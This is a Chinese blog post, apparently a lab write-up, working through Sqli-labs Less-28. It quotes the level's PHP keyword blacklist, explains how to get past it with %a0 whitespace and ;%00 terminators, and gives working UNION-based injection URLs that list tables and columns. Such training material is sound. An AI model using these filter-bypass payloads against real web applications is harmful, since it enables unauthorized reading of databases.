zoukankan      html  css  js  c++  java
  • Sqli-labs

    接着好久之前的sql注入学习

    Less-28源代码如下:

    function blacklist($id)
    {
    $id= preg_replace('/[/*]/',"", $id);              //strip out /*
    $id= preg_replace('/[--]/',"", $id);              //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                  //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);                //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
    $id= preg_replace('/unions+select/i',"", $id);      //Strip out UNION & SELECT.
    return $id;
    }

    解法:

    参考了https://www.cnblogs.com/zhengna/p/12655523.html

    正则表达式'/unions+select/i'中,s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写

    就是说只看最后一项,正则匹配会过滤 union加空格加select,只有这个表达式(不区分大小写)满足的时候才会进行过滤,但是双写空格会被之前的空格匹配过滤。

    如果空格替换成其他等价的字符,如/**/(被过滤)、tap空格、%0a(换行符,sql查询特性)、%a0就能绕过匹配

    但是没有报错回显无法使用报错判断,只能尝试爆出信息:

    尝试(以下语句需要在后面添加%0a1=1;%00),由于注释符被过滤,因此使用;%00替代

    引入新的语句

    之后尝试出现回显

    之后进入正常步骤,先order by,到4的时候不回显,说明字段结构是3的长度

    继续查数据库,突然没有回显,回去看看,发现参考博客写的并不严谨

    s表示匹配一个空格,但也能匹配包括tab键等空白符,因此%0a换行符也被匹配了,至此我们只能使用%a0来绕过

    查询表

     http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,table_name,3%a0from%a0information_schema.tables;%00

    查列

     http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name=%27CHARACTER_SETS%27;%00

    最后去查值,select列名from表名,如果无回显,可以去参考其他资料,又或者是sqli-labs配置错误

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    符合RESTful规范的API
    DRF 认证、权限、限制
    RESTful API终极版序列化封装
    RESTful API
    Django REST Framework
    前端之promise
    VueRouter
    Vue的生命周期
    三种常用的js数组去重方法
    dos命令查看端口状态
  • 原文地址:https://www.cnblogs.com/echoDetected/p/13268998.html
Copyright © 2011-2022 走看看